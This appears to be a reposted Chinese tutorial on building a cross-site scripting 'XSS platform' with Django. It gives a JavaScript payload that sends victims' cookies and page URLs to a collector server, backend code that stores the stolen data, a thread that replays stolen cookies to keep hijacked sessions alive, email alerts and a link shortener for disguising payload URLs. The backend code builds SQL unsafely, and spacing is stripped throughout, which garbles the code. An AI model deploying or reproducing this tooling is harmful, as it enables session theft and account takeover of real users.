0x01

工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

需要用到的第三方库:

0x02

我们先看一下XSS脚本是如何工作的

varwebsite="http://127.0.0.1";(function(){(newImage()).src=website+'/?keepsession=1&location='+escape((function(){
try{
returndocument.location.href
}catch(e){
return''
}
})())+'&toplocation='+escape((function(){
try{
returntop.location.href
}catch(e){
return''
}
})())+'&cookie='+escape((function(){
try{
returndocument.cookie
}catch(e){
return''
}
})())+'&opener='+escape((function(){
try{
return(window.opener&&window.opener.location.href)?window.opener.location.href:''
}catch(e){
return''
}
})());
})();

这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。

注意:这里使用AJAX可能会出现CORS跨域问题。

0x03

先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。

"""
根据url值动态返回相应的javascript代码
"""
importpymysql,os
fromuser.safeioimportre_check

defget_info(url):
ifnotre_check(url,'num_letter'):
return'default'
db=pymysql.connect('localhost','root','root','xss')
cursor=db.cursor()
cursor.execute("SelectnameFromprojectsWhereurl='"+url+"'")
js_name=cursor.fetchone()[0]
ifjs_name==None:
return'default'
else:
return(js_name)

defget_js_value(url):
js_name=get_info(url)
file='\\script\\'+js_name+'.js'
js_value=open(os.getcwd()+file).read()
js_value=js_value.replace('<-1234->',url)
returnjs_value
importpymysql,time
from.getscriptimportget_info

defconnect():
try:
db=pymysql.connect('localhost','root','root','xss')
cursor=db.cursor()
returndb,cursor
except:
print('连接数据库失败,正在尝试重新连接')
connect()

defput_letter(requests,url):
now_time=time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(time.time()))[2:]
if'HTTP_X_FORWARDED_FOR'inrequests.META:
ip=requests.META['HTTP_X_FORWARDED_FOR']
else:
try:
ip=requests.META['REMOTE_ADDR']
except:
ip='0.0.0.0'
ip=ip.replace("'","\'")
origin=requests.GET.get('location','Unknown').replace("'","\'")
software=requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
method=requests.method.replace("'","\'")
data=requests.GET.get('cookie','Nodata').replace("'","\'")
keep_alive=requests.GET.get('keepsession','0').replace("'","\'")
list=[now_time,ip,origin,software,method,data,keep_alive]
put_mysql(list,url)

defput_mysql(list,url):
db,cursor=connect()
name=get_info(url)
cursor.execute("SelectuserFromprojectsWhereurl='"+url+"'")
user=cursor.fetchone()[0]
m_query="INSERTINTOletters(time,name,ip,origin,software,method,data,user,keep_alive)VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
m_query=m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
cursor.execute(m_query)
db.commit()
db.close()

defget_letters(username):
db,cursor=connect()
m_query="SELECT*FROMlettersWHEREuser='{}'"
m_query=m_query.format(username)
cursor.execute(m_query)
result_list=cursor.fetchall()
returnresult_list

既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。

0x04

我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等

#coding=utf-8

'''
邮件发送
'''

importsmtplib
fromemail.mime.textimportMIMEText
fromemail.utilsimportformataddr

my_sender='xxxx'
my_pass='xxxx'

defsend_mail(user_mail):
try:
print(user_mail)
msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
msg['From']=formataddr(["XSS平台",my_sender])
msg['To']=formataddr(["顾客",user_mail])
msg['Subject']="您点的外卖已送达,请登录平台查询"
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(my_sender,my_pass)
server.sendmail(my_sender,[user_mail,],msg.as_string())
server.quit()
exceptException:
pass
'''

使用独立于主线程的其他线程


来保持通用项目的cookie信息'活性'


默认保持一个小时的活性
'''

importrequests,queue,time,pymysql

Cookie_Time=1

defdecrease(time,number):
iftime'{}'andkeep_alive='1'").format(dec_time)
db=pymysql.connect('127.0.0.1','root','root','xss')
cursor=db.cursor()
cursor.execute(m_query)
return_list=cursor.fetchall()
forxinreturn_list:
Cookie_queue.put(x)
returnCookie_queue

defaction():
whileTrue:
time.sleep(60)
task_queue=create_queue()
whilenottask_queue.empty():
tasks=task_queue.get()
url=tasks[1]
ua=tasks[0]
cookie=tasks[2]
headers={'User-Agent':ua,'Cookie':cookie}
try:
requests.get(url,headers=headers)
except:
pass

注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:

importthreading
fromxssplatform.keep_aliveimportaction

classkeep_Thread(threading.Thread):
def__init__(self):
super(keep_Thread,self).__init__()
defrun(self):
action()

if__name__=='__main__':
th=keep_Thread()
th.start()

短链接:

'''
短链接生成
接口c7.gg
'''

importrequests,json

Headers={
"accept":"application/json,text/javascript,*/*;q=0.01",
"accept-encoding":"gzip,deflate,br",
"accept-language":"zh-CN,zh;q=0.9,en;q=0.8",
"content-length":"53",
"content-type":"application/x-www-form-urlencoded;charset=UTF-8",
"origin":"https://www.985.so",
"referer":"https://www.985.so/",
"user-agent":"Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/63.0.3239.132Safari/537.36",
}

defurl_to_short(url):
globalHeaders
data={'type':'c7','url':url}
r=requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
list=json.loads(r.text)
returnlist['list']

4)最后

其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。

此项目已开源于Github,有任何问题可以提交issue,我会在第一时间进行回复。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持毛票票。

声明:本文内容来源于网络,版权归原作者所有,内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:czq8825#qq.com(发邮件时,请将#更换为@)进行举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。

热门推荐

1 毛坯房验收经验和常识 看了之后再验房心里有底
2 二手房收房如何交接 二手房收房注意问题
3 专业验收毛坯房的价格 商品房验收合格的标准
4 精装房怎么验收 精装房请验房师有用吗
5 一般要到哪里找验房师 验房师有哪些作用呢
6 请人验房一般是多少钱 验房师费用是多少
7 怎样测量房子面积 建筑面积和使用面积怎么算
8 收房需要注意什么 仔细检查不松懈
9 收房时三书一证一表是什么 主要作用介绍
10 交房时交房税费有哪些 本文为你一一讲解
11 验房都需要验什么 要做哪些准备呢
12 毛坯房验房师有必要请吗 毛坯房装修完如何验收
13 地下室防水工程质量验收规范详解
14 水性涂料、油性涂料区别介绍
15 零基础布艺DIY工坊 教你做超萌猫头鹰钥匙包
16 三棵树漆怎么样?三棵树漆官方网站
17 家庭“装修套餐”中猫腻你知道吗?
18 小空间大浴望 卫浴间装修巧支招